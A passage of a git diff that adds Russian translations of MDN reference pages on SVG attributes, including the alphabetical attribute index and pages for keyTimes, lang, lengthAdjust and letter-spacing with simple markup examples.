+ <li>{{ SVGAttr("fy") }}</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{ SVGAttr("g1") }}</li>
+ <li>{{ SVGAttr("g2") }}</li>
+ <li>{{ SVGAttr("glyph-name") }}</li>
+ <li>{{ SVGAttr("glyph-orientation-horizontal") }}</li>
+ <li>{{ SVGAttr("glyph-orientation-vertical") }}</li>
+ <li>{{ SVGAttr("glyphRef") }}</li>
+ <li>{{ SVGAttr("gradientTransform") }}</li>
+ <li>{{ SVGAttr("gradientUnits") }}</li>
+</ul>
+
+<h3 id="H">H</h3>
+
+<ul>
+ <li>{{ SVGAttr("hanging") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("horiz-adv-x") }}</li>
+ <li>{{ SVGAttr("horiz-origin-x") }}</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{ SVGAttr("id") }}</li>
+ <li>{{ SVGAttr("ideographic") }}</li>
+ <li>{{ SVGAttr("image-rendering") }}</li>
+ <li>{{ SVGAttr("in") }}</li>
+ <li>{{ SVGAttr("in2") }}</li>
+ <li>{{ SVGAttr("intercept") }}</li>
+</ul>
+
+<h3 id="K">K</h3>
+
+<ul>
+ <li>{{ SVGAttr("k") }}</li>
+ <li>{{ SVGAttr("k1") }}</li>
+ <li>{{ SVGAttr("k2") }}</li>
+ <li>{{ SVGAttr("k3") }}</li>
+ <li>{{ SVGAttr("k4") }}</li>
+ <li>{{ SVGAttr("kernelMatrix") }}</li>
+ <li>{{ SVGAttr("kernelUnitLength") }}</li>
+ <li>{{ SVGAttr("kerning") }}</li>
+ <li>{{ SVGAttr("keyPoints") }}</li>
+ <li>{{ SVGAttr("keySplines") }}</li>
+ <li>{{ SVGAttr("keyTimes") }}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{ SVGAttr("lang") }}</li>
+ <li>{{ SVGAttr("lengthAdjust") }}</li>
+ <li>{{ SVGAttr("letter-spacing") }}</li>
+ <li>{{ SVGAttr("lighting-color") }}</li>
+ <li>{{ SVGAttr("limitingConeAngle") }}</li>
+ <li>{{ SVGAttr("local") }}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{ SVGAttr("marker-end") }}</li>
+ <li>{{ SVGAttr("marker-mid") }}</li>
+ <li>{{ SVGAttr("marker-start") }}</li>
+ <li>{{ SVGAttr("markerHeight") }}</li>
+ <li>{{ SVGAttr("markerUnits") }}</li>
+ <li>{{ SVGAttr("markerWidth") }}</li>
+ <li>{{ SVGAttr("mask") }}</li>
+ <li>{{ SVGAttr("maskContentUnits") }}</li>
+ <li>{{ SVGAttr("maskUnits") }}</li>
+ <li>{{ SVGAttr("mathematical") }}</li>
+ <li>{{ SVGAttr("max") }}</li>
+ <li>{{ SVGAttr("media") }}</li>
+ <li>{{ SVGAttr("method") }}</li>
+ <li>{{ SVGAttr("min") }}</li>
+ <li>{{ SVGAttr("mode") }}</li>
+</ul>
+
+<h3 id="N">N</h3>
+
+<ul>
+ <li>{{ SVGAttr("name") }}</li>
+ <li>{{ SVGAttr("numOctaves") }}</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{ SVGAttr("offset") }}</li>
+ <li>{{ SVGAttr("onabort") }}</li>
+ <li>{{ SVGAttr("onactivate") }}</li>
+ <li>{{ SVGAttr("onbegin") }}</li>
+ <li>{{ SVGAttr("onclick") }}</li>
+ <li>{{ SVGAttr("onend") }}</li>
+ <li>{{ SVGAttr("onerror") }}</li>
+ <li>{{ SVGAttr("onfocusin") }}</li>
+ <li>{{ SVGAttr("onfocusout") }}</li>
+ <li>{{ SVGAttr("onload") }}</li>
+ <li>{{ SVGAttr("onmousedown") }}</li>
+ <li>{{ SVGAttr("onmousemove") }}</li>
+ <li>{{ SVGAttr("onmouseout") }}</li>
+ <li>{{ SVGAttr("onmouseover") }}</li>
+ <li>{{ SVGAttr("onmouseup") }}</li>
+ <li>{{ SVGAttr("onrepeat") }}</li>
+ <li>{{ SVGAttr("onresize") }}</li>
+ <li>{{ SVGAttr("onscroll") }}</li>
+ <li>{{ SVGAttr("onunload") }}</li>
+ <li>{{ SVGAttr("onzoom") }}</li>
+ <li>{{ SVGAttr("opacity") }}</li>
+ <li>{{ SVGAttr("operator") }}</li>
+ <li>{{ SVGAttr("order") }}</li>
+ <li>{{ SVGAttr("orient") }}</li>
+ <li>{{ SVGAttr("orientation") }}</li>
+ <li>{{ SVGAttr("origin") }}</li>
+ <li>{{ SVGAttr("overflow") }}</li>
+ <li>{{ SVGAttr("overline-position") }}</li>
+ <li>{{ SVGAttr("overline-thickness") }}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{ SVGAttr("panose-1") }}</li>
+ <li>{{ SVGAttr("paint-order") }}</li>
+ <li>{{ SVGAttr("path") }}</li>
+ <li>{{ SVGAttr("pathLength") }}</li>
+ <li>{{ SVGAttr("patternContentUnits") }}</li>
+ <li>{{ SVGAttr("patternTransform") }}</li>
+ <li>{{ SVGAttr("patternUnits") }}</li>
+ <li>{{ SVGAttr("pointer-events") }}</li>
+ <li>{{ SVGAttr("points") }}</li>
+ <li>{{ SVGAttr("pointsAtX") }}</li>
+ <li>{{ SVGAttr("pointsAtY") }}</li>
+ <li>{{ SVGAttr("pointsAtZ") }}</li>
+ <li>{{ SVGAttr("preserveAlpha") }}</li>
+ <li>{{ SVGAttr("preserveAspectRatio") }}</li>
+ <li>{{ SVGAttr("primitiveUnits") }}</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{ SVGAttr("r") }}</li>
+ <li>{{ SVGAttr("radius") }}</li>
+ <li>{{ SVGAttr("refX") }}</li>
+ <li>{{ SVGAttr("refY") }}</li>
+ <li>{{ SVGAttr("rendering-intent") }}</li>
+ <li>{{ SVGAttr("repeatCount") }}</li>
+ <li>{{ SVGAttr("repeatDur") }}</li>
+ <li>{{ SVGAttr("requiredExtensions") }}</li>
+ <li>{{ SVGAttr("requiredFeatures") }}</li>
+ <li>{{ SVGAttr("restart") }}</li>
+ <li>{{ SVGAttr("result") }}</li>
+ <li>{{ SVGAttr("rotate") }}</li>
+ <li>{{ SVGAttr("rx") }}</li>
+ <li>{{ SVGAttr("ry") }}</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{ SVGAttr("scale") }}</li>
+ <li>{{ SVGAttr("seed") }}</li>
+ <li>{{ SVGAttr("shape-rendering") }}</li>
+ <li>{{ SVGAttr("slope") }}</li>
+ <li>{{ SVGAttr("spacing") }}</li>
+ <li>{{ SVGAttr("specularConstant") }}</li>
+ <li>{{ SVGAttr("specularExponent") }}</li>
+ <li>{{ SVGAttr("spreadMethod") }}</li>
+ <li>{{ SVGAttr("startOffset") }}</li>
+ <li>{{ SVGAttr("stdDeviation") }}</li>
+ <li>{{ SVGAttr("stemh") }}</li>
+ <li>{{ SVGAttr("stemv") }}</li>
+ <li>{{ SVGAttr("stitchTiles") }}</li>
+ <li>{{ SVGAttr("stop-color") }}</li>
+ <li>{{ SVGAttr("stop-opacity") }}</li>
+ <li>{{ SVGAttr("strikethrough-position") }}</li>
+ <li>{{ SVGAttr("strikethrough-thickness") }}</li>
+ <li>{{ SVGAttr("string") }}</li>
+ <li>{{ SVGAttr("stroke") }}</li>
+ <li>{{ SVGAttr("stroke-dasharray") }}</li>
+ <li>{{ SVGAttr("stroke-dashoffset") }}</li>
+ <li>{{ SVGAttr("stroke-linecap") }}</li>
+ <li>{{ SVGAttr("stroke-linejoin") }}</li>
+ <li>{{ SVGAttr("stroke-miterlimit") }}</li>
+ <li>{{ SVGAttr("stroke-opacity") }}</li>
+ <li>{{ SVGAttr("stroke-width") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("surfaceScale") }}</li>
+ <li>{{ SVGAttr("systemLanguage") }}</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{ SVGAttr("tableValues") }}</li>
+ <li>{{ SVGAttr("target") }}</li>
+ <li>{{ SVGAttr("targetX") }}</li>
+ <li>{{ SVGAttr("targetY") }}</li>
+ <li>{{ SVGAttr("text-anchor") }}</li>
+ <li>{{ SVGAttr("text-decoration") }}</li>
+ <li>{{ SVGAttr("text-rendering") }}</li>
+ <li>{{ SVGAttr("textLength") }}</li>
+ <li>{{ SVGAttr("to") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+ <li>{{ SVGAttr("type") }}</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{ SVGAttr("u1") }}</li>
+ <li>{{ SVGAttr("u2") }}</li>
+ <li>{{ SVGAttr("underline-position") }}</li>
+ <li>{{ SVGAttr("underline-thickness") }}</li>
+ <li>{{ SVGAttr("unicode") }}</li>
+ <li>{{ SVGAttr("unicode-bidi") }}</li>
+ <li>{{ SVGAttr("unicode-range") }}</li>
+ <li>{{ SVGAttr("units-per-em") }}</li>
+</ul>
+
+<h3 id="V">V</h3>
+
+<ul>
+ <li>{{ SVGAttr("v-alphabetic") }}</li>
+ <li>{{ SVGAttr("v-hanging") }}</li>
+ <li>{{ SVGAttr("v-ideographic") }}</li>
+ <li>{{ SVGAttr("v-mathematical") }}</li>
+ <li>{{ SVGAttr("values") }}</li>
+ <li>{{ SVGAttr("version") }}</li>
+ <li>{{ SVGAttr("vert-adv-y") }}</li>
+ <li>{{ SVGAttr("vert-origin-x") }}</li>
+ <li>{{ SVGAttr("vert-origin-y") }}</li>
+ <li>{{ SVGAttr("viewBox") }}</li>
+ <li>{{ SVGAttr("viewTarget") }}</li>
+ <li>{{ SVGAttr("visibility") }}</li>
+</ul>
+
+<h3 id="W">W</h3>
+
+<ul>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("widths") }}</li>
+ <li>{{ SVGAttr("word-spacing") }}</li>
+ <li>{{ SVGAttr("writing-mode") }}</li>
+</ul>
+
+<h3 id="X">X</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("x-height") }}</li>
+ <li>{{ SVGAttr("x1") }}</li>
+ <li>{{ SVGAttr("x2") }}</li>
+ <li>{{ SVGAttr("xChannelSelector") }}</li>
+ <li>{{ SVGAttr("xlink:actuate") }}</li>
+ <li>{{ SVGAttr("xlink:arcrole") }}</li>
+ <li>{{ SVGAttr("xlink:href") }}</li>
+ <li>{{ SVGAttr("xlink:role") }}</li>
+ <li>{{ SVGAttr("xlink:show") }}</li>
+ <li>{{ SVGAttr("xlink:title") }}</li>
+ <li>{{ SVGAttr("xlink:type") }}</li>
+ <li>{{ SVGAttr("xml:base") }}</li>
+ <li>{{ SVGAttr("xml:lang") }}</li>
+ <li>{{ SVGAttr("xml:space") }}</li>
+</ul>
+
+<h3 id="Y">Y</h3>
+
+<ul>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("y1") }}</li>
+ <li>{{ SVGAttr("y2") }}</li>
+ <li>{{ SVGAttr("yChannelSelector") }}</li>
+</ul>
+
+<h3 id="Z">Z</h3>
+
+<ul>
+ <li>{{ SVGAttr("z") }}</li>
+ <li>{{ SVGAttr("zoomAndPan") }}</li>
+</ul>
+</div>
+
+<h2 id="Категории">Категории</h2>
+
+<h3 id="Атрибуты_событий_анимации">Атрибуты событий анимации</h3>
+
+<p>{{ SVGAttr("onbegin") }}, {{ SVGAttr("onend") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onrepeat") }}</p>
+
+<h3 id="AnimationAttributeTarget" name="AnimationAttributeTarget">Целевые атрибуты анимации</h3>
+
+<p>{{ SVGAttr("attributeType") }}, {{ SVGAttr("attributeName") }}</p>
+
+<h3 id="Атрибуты_времени_анимации">Атрибуты времени анимации</h3>
+
+<p>{{ SVGAttr("begin") }}, {{ SVGAttr("dur") }}, {{ SVGAttr("end") }}, {{ SVGAttr("min") }}, {{ SVGAttr("max") }}, {{ SVGAttr("restart") }}, {{ SVGAttr("repeatCount") }}, {{ SVGAttr("repeatDur") }}, {{ SVGAttr("fill") }}</p>
+
+<h3 id="Атрибуты_значений_анимации">Атрибуты значений анимации</h3>
+
+<p>{{ SVGAttr("calcMode") }}, {{ SVGAttr("values") }}, {{ SVGAttr("keyTimes") }}, {{ SVGAttr("keySplines") }}, {{ SVGAttr("from") }}, {{ SVGAttr("to") }}, {{ SVGAttr("by") }}</p>
+
+<h3 id="Атрибуты_добавления_анимации">Атрибуты добавления анимации</h3>
+
+<p>{{ SVGAttr("additive") }}, {{ SVGAttr("accumulate") }}</p>
+
+<h3 id="Атрибуты_условий">Атрибуты условий</h3>
+
+<p>{{ SVGAttr("requiredExtensions") }}, {{ SVGAttr("requiredFeatures") }}, {{ SVGAttr("systemLanguage") }}.</p>
+
+<h3 id="Атрибуты_ядра">Атрибуты ядра</h3>
+
+<p>{{ SVGAttr("id") }}, {{ SVGAttr("xml:base") }}, {{ SVGAttr("xml:lang") }}, {{ SVGAttr("xml:space") }}</p>
+
+<h3 id="Атрибуты_событий_документа">Атрибуты событий документа</h3>
+
+<p>{{ SVGAttr("onabort") }}, {{ SVGAttr("onerror") }}, {{ SVGAttr("onresize") }}, {{ SVGAttr("onscroll") }}, {{ SVGAttr("onunload") }}, {{ SVGAttr("onzoom") }}</p>
+
+<h3 id="Атрибуты_простых_фильтров">Атрибуты простых фильтров</h3>
+
+<p>{{ SVGAttr("height") }}, {{ SVGAttr("result") }}, {{ SVGAttr("width") }}, {{ SVGAttr("x") }}, {{ SVGAttr("y") }}</p>
+
+<h3 id="Атрибуты_графических_событий">Атрибуты графических событий</h3>
+
+<p>{{ SVGAttr("onactivate") }}, {{ SVGAttr("onclick") }}, {{ SVGAttr("onfocusin") }}, {{ SVGAttr("onfocusout") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onmousedown") }}, {{ SVGAttr("onmousemove") }}, {{ SVGAttr("onmouseout") }}, {{ SVGAttr("onmouseover") }}, {{ SVGAttr("onmouseup") }}</p>
+
+<h3 id="Атрибуты_представления">Атрибуты представления</h3>
+
+<div class="note">Заметьте, что все атрибуты представления SVG можно использовать как CSS свойства.</div>
+
+<p>{{ SVGAttr("alignment-baseline") }}, {{ SVGAttr("baseline-shift") }}, {{ SVGAttr("clip") }}, {{ SVGAttr("clip-path") }}, {{ SVGAttr("clip-rule") }}, {{ SVGAttr("color") }}, {{ SVGAttr("color-interpolation") }}, {{ SVGAttr("color-interpolation-filters") }}, {{ SVGAttr("color-profile") }}, {{ SVGAttr("color-rendering") }}, {{ SVGAttr("cursor") }}, {{ SVGAttr("direction") }}, {{ SVGAttr("display") }}, {{ SVGAttr("dominant-baseline") }}, {{ SVGAttr("enable-background") }}, {{ SVGAttr("fill") }}, {{ SVGAttr("fill-opacity") }}, {{ SVGAttr("fill-rule") }}, {{ SVGAttr("filter") }}, {{ SVGAttr("flood-color") }}, {{ SVGAttr("flood-opacity") }}, {{ SVGAttr("font-family") }}, {{ SVGAttr("font-size") }}, {{ SVGAttr("font-size-adjust") }}, {{ SVGAttr("font-stretch") }}, {{ SVGAttr("font-style") }}, {{ SVGAttr("font-variant") }}, {{ SVGAttr("font-weight") }}, {{ SVGAttr("glyph-orientation-horizontal") }}, {{ SVGAttr("glyph-orientation-vertical") }}, {{ SVGAttr("image-rendering") }}, {{ SVGAttr("kerning") }}, {{ SVGAttr("letter-spacing") }}, {{ SVGAttr("lighting-color") }}, {{ SVGAttr("marker-end") }}, {{ SVGAttr("marker-mid") }}, {{ SVGAttr("marker-start") }}, {{ SVGAttr("mask") }}, {{ SVGAttr("opacity") }}, {{ SVGAttr("overflow") }}, {{ SVGAttr("pointer-events") }}, {{ SVGAttr("shape-rendering") }}, {{ SVGAttr("stop-color") }}, {{ SVGAttr("stop-opacity") }}, {{ SVGAttr("stroke") }}, {{ SVGAttr("stroke-dasharray") }}, {{ SVGAttr("stroke-dashoffset") }}, {{ SVGAttr("stroke-linecap") }}, {{ SVGAttr("stroke-linejoin") }}, {{ SVGAttr("stroke-miterlimit") }}, {{ SVGAttr("stroke-opacity") }}, {{ SVGAttr("stroke-width") }}, {{ SVGAttr("text-anchor") }}, {{ SVGAttr("text-decoration") }}, {{ SVGAttr("text-rendering") }}, {{ SVGAttr("unicode-bidi") }}, {{ SVGAttr("visibility") }}, {{ SVGAttr("word-spacing") }}, {{ SVGAttr("writing-mode") }}</p>
+
+<h3 id="Атрибуты_передаточных_функций">Атрибуты передаточных функций</h3>
+
+<p>{{ SVGAttr("type") }}, {{ SVGAttr("tableValues") }}, {{ SVGAttr("slope") }}, {{ SVGAttr("intercept") }}, {{ SVGAttr("amplitude") }}, {{ SVGAttr("exponent") }}, {{ SVGAttr("offset") }}</p>
+
+<h3 id="XLink_атрибуты">XLink атрибуты</h3>
+
+<p>{{ SVGAttr("xlink:href") }}, {{ SVGAttr("xlink:type") }}, {{ SVGAttr("xlink:role") }}, {{ SVGAttr("xlink:arcrole") }}, {{ SVGAttr("xlink:title") }}, {{ SVGAttr("xlink:show") }}, {{ SVGAttr("xlink:actuate") }}</p>
diff --git a/files/ru/web/svg/attribute/keytimes/index.html b/files/ru/web/svg/attribute/keytimes/index.html
new file mode 100644
index 0000000000..4df57edc2c
--- /dev/null
+++ b/files/ru/web/svg/attribute/keytimes/index.html
@@ -0,0 +1,87 @@
+---
+title: keyTimes
+slug: Web/SVG/Attribute/keyTimes
+translation_of: Web/SVG/Attribute/keyTimes
+---
+<p>« <a href="/en-US/docs/Web/SVG/Attribute" title="en-US/docs/Web/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>Атрибут <code>keyTimes</code> представляет собой разделенный точками с запятой список значений времени, используемых для управления темпами анимации. Каждое значение в списке соответствует значению в списке атрибутов {{ SVGAttr("values") }} и определяет, когда оно используется в анимации. Каждое значение времени в списке <code>keyTimes</code> задается как значение с плавающей запятой от 0 до 1 (включительно), представляющее пропорциональную величину смещения в течение элемента анимации.</p>
+
+<p>Если указан список <code>keyTimes</code>, то в списке <code>keyTimes</code> должно быть ровно столько же значений, сколько в списке {{ SVGAttr("values") }} .</p>
+
+<p>Каждое последовательное значение времени должно быть больше или равно предыдущему значению времени.</p>
+
+<p>Семантика списка keyTimes зависит от режима интерполяции:</p>
+
+<ul>
+ <li>Для линейной и сплайновой анимации первое значение времени в списке должно быть равно 0, а Последнее значение времени в списке должно быть 1. Ключевое время, связанное с каждым значением, определяет, когда значение задается; значения являются интерполяцией между ключевыми моментами.</li>
+ <li>Для дискретной анимации первое значение времени в списке должно быть равно 0. Время, связанное с каждым значением, определяет, когда значение задается; Функция анимации использует это значение до следующего времени, определенного в <code>keyTimes</code>.</li>
+</ul>
+
+<p>Если в качестве режима интерполяции используется <em>paced</em>, атрибут <code>keyTimes </code>игнорируется.</p>
+
+<p>Если в качетсве параметра длительности выбрано <em>indefinite</em>, атрибут <code>keyTimes</code> игнорируется.</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>Animation value attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td>&lt;list&gt;</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#KeyTimesAttribute" title="http://www.w3.org/TR/SVG/animate.html#KeyTimesAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120"
+     viewPort="0 0 120 120" version="1.1"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+    &lt;circle cx="60" cy="10" r="10"&gt;
+
+        &lt;animate attributeName="cx"
+                 attributeType="XML"
+                 dur="4s"
+                 values="60 ; 110 ; 60 ; 10 ; 60"
+                 keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
+                 repeatCount="indefinite"/&gt;
+
+        &lt;animate attributeName="cy"
+                 attributeType="XML"
+                 dur="4s"
+                 values="10 ; 60 ; 110 ; 60 ; 10 "
+                 keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
+                 repeatCount="indefinite"/&gt;
+
+    &lt;/circle&gt;
+&lt;/svg&gt;</pre>
+
+<p><strong>Демонстрация</strong></p>
+
+<p>{{ EmbedLiveSample('Example','120','120') }}</p>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>keyTimes</code></p>
+
+<ul>
+ <li>{{ SVGElement("animate") }}</li>
+ <li>{{ SVGElement("animateColor") }}</li>
+ <li>{{ SVGElement("animateMotion") }}</li>
+ <li>{{ SVGElement("animateTransform") }}</li>
+</ul>
diff --git a/files/ru/web/svg/attribute/lang/index.html b/files/ru/web/svg/attribute/lang/index.html
new file mode 100644
index 0000000000..86317240f1
--- /dev/null
+++ b/files/ru/web/svg/attribute/lang/index.html
@@ -0,0 +1,86 @@
+---
+title: lang
+slug: Web/SVG/Attribute/lang
+tags:
+  - SVG
+translation_of: Web/SVG/Attribute/lang
+---
+<div>{{SVGRef}}</div>
+
+<p><span class="seoSummary">Атрибут <strong><code>lang</code></strong> указывает основной язык, используемый в содержимом, и атрибуты, содержащие текстовое содержимое определенных элементов.</span></p>
+
+<p>Также существует атрибут {{SVGAttr("xml:lang")}} (с пространством имен). Если определены оба атрибута, то используется тот, который имеет пространство имен, а атрибут без пространства имен игнорируется.</p>
+
+<p>В SVG 1.1 существовал атрибут <code>lang</code>, определенный с другим значением и применимый только к {{SVGElement("glyph")}}. Этот атрибут указывал список языков в <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">формате BCP 47</a>. Глиф предназначался для использования, если атрибут <code>xml:lang</code> точно соответствует одному из языков, указанных в значении этого параметра, или если атрибут <code>xml:lang</code> точно соответствует префиксу одного из языков, указанных в значении этого параметра. Таким образом, первый символ тега, следующий за префиксом, был "-".</p>
+
+<p>Все элементы используют этот атрибут.</p>
+
+<div id="topExample">
+<pre class="brush: html; highlight[2] notranslate">&lt;svg viewBox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;text lang="en-US"&gt;This is some English text&lt;/text&gt;
+&lt;/svg&gt;</pre>
+</div>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><code>&lt;language-tag&gt;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Значение по умолчанию</th>
+   <td><em>Отсутствует</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt><code>&lt;language-tag&gt;</code></dt>
+ <dd>
+ <p>Это значение указывает язык, используемый для элемента. Синтаксис этого значения определен в <a href="https://tools.ietf.org/html/bcp47#section-2.1">спецификации BCP 47</a>.</p>
+
+ <p>Наиболее распространенным синтаксисом является значение, состоящее из двухсимвольной части нижнего регистра языка и двухсимвольной части верхнего регистра для региона или страны, разделенных знаком минус. Например, <code>en-US</code> для американского английского языка или <code>de-AT</code> для австрийского немецкого.</p>
+ </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "struct.html#LangAttribute", "lang")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Сделал атрибут {{SVGAttr("lang")}} (без пространства имен) доступным для всех элементов и определил взаимодействие между ними.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "fonts.html#GlyphElementLangAttribute", "lang")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Устаревшее определение атрибута для элементов {{SVGElement("glyph")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("svg.attributes.core.lang")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/bcp47">Спецификация BCP 47 для тегов для идентификации языков</a></li>
+</ul>
diff --git a/files/ru/web/svg/attribute/lengthadjust/index.html b/files/ru/web/svg/attribute/lengthadjust/index.html
new file mode 100644
index 0000000000..69284fcc46
--- /dev/null
+++ b/files/ru/web/svg/attribute/lengthadjust/index.html
@@ -0,0 +1,33 @@
+---
+title: lengthAdjust
+slug: Web/SVG/Attribute/lengthAdjust
+translation_of: Web/SVG/Attribute/lengthAdjust
+---
+<p><span class="seoSummary">Когда  SVG элемент <code>&lt;text&gt;</code><strong> </strong>или<strong> </strong><code>&lt;tspan&gt;</code> имеет конкретную длину, установленную с помощью атрибута  <code>textLengt</code>, атрибут <code>lengthAdjust</code> контролирует как текст помещается в эту длину (растягивается или сжимается).</span></p>
+
+<p>Существует 2 допустимых значения для атрибута <code>lengthAdjust</code>: <code>spacing</code> и <code>spacingAndGlyphs</code>. Используя <code>spacing</code> (установлено по умолчанию), форма букв сохраняется, но расстояние между ними увеличивается или уменьшается. Используя <code>spacingAndGlyphs</code> весь тестовый элемент растягивается.</p>
+
+<h2 id="SVG_text_fitting_using_lengthAdjust" name="SVG_text_fitting_using_lengthAdjust">SVG текст с использованием lengthAdjust</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;svg width="300" height="150" xmlns="http://www.w3.org/2000/svg"&gt;
+   &lt;g font-face="sans-serif"&gt;
+      &lt;text x="0" y="20" textLength="300" lengthAdjust="spacing"&gt;
+         Stretched using spacing only.
+      &lt;/text&gt;
+      &lt;text x="0" y="50" textLength="300" lengthAdjust="spacingAndGlyphs"&gt;
+         Stretched using spacing and glyphs.
+      &lt;/text&gt;
+      &lt;text x="0" y="80" textLength="100" lengthAdjust="spacing"&gt;
+         Shrunk using spacing only.
+      &lt;/text&gt;
+      &lt;text x="0" y="110" textLength="100" lengthAdjust="spacingAndGlyphs"&gt;
+         Shrunk using spacing and glyphs.
+      &lt;/text&gt;
+   &lt;/g&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('SVG_text_fitting_using_lengthAdjust') }}</p>
diff --git a/files/ru/web/svg/attribute/letter-spacing/index.html b/files/ru/web/svg/attribute/letter-spacing/index.html
new file mode 100644
index 0000000000..4b6adefbc9
--- /dev/null
+++ b/files/ru/web/svg/attribute/letter-spacing/index.html
@@ -0,0 +1,60 @@
+---
+title: letter-spacing
+slug: Web/SVG/Attribute/letter-spacing
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/letter-spacing
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p><span class="seoSummary">Атрибут <code>letter-spacing</code> контролирует расстояние между текстовыми символами, в дополнении к любому расстоянию атрибута {{ SVGAttr("kerning") }} .</span></p>
+
+<p>Для SVG, если значением атрибута выступает обыкновенное число (например, <code>128</code>), браузер добавляет это к <a href="/en/SVG/Content_type#Length">&lt;length&gt;</a> в текущей системе координат пользователя.</p>
+
+<p>Если же значением атрибута выступают относительные величины, к примеру <code>.25em</code> или <code>1%</code>, браузер преобразовывает их в  <a href="/en/SVG/Content_type#Length">&lt;length&gt;</a> соответствующее значение в текущей системе координат пользователя.</p>
+
+<p>В качестве атрибута представления он также может использоваться как свойство в CSS. Смотрите {{ cssxref("letter-spacing","CSS letter-spacing") }} для дополнительной информации.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категория</th>
+   <td>Атрибут представления</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td>normal | <a href="/en/SVG/Content_type#Length">&lt;length&gt;</a> | <strong title="this is the default value">inherit</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируется </th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативный документ</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#LetterSpacingProperty">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ page("/en/SVG/Content_type","Length") }}</p>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>В следующих элементах можно использовать атрибут <code>letter-spacing</code></p>
+
+<ul>
+ <li><a href="/en/SVG/Element#Text_content_elements">Элементы текстового контента</a>, например <code>&lt;text&gt;</code> и <code>&lt;tspan&gt;</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ cssxref("letter-spacing","CSS letter-spacing") }}</li>
+</ul>
+
+<h2 id="Примечание_об_использовании">Примечание об использовании</h2>
+
+<p>Атрибут <code>letter-spacing</code> плохо поддерживается в работе с SVG. По состоянию на май 2016 года Firefox делает текст без использования <code>letter-spacing</code>. Chrome делает текст с уже буквенным интервалом, но неправильно вычисляет длину текста; <code>textNode.getComputedTextLength()</code> возвращает точно такую же длину, <code>letter-spacing</code> установлен или нет, что приводит к грубо неправильным результатам при разнесении букв.</p>
diff --git a/files/ru/web/svg/attribute/lighting-color/index.html b/files/ru/web/svg/attribute/lighting-color/index.html
new file mode 100644
index 0000000000..812328afef
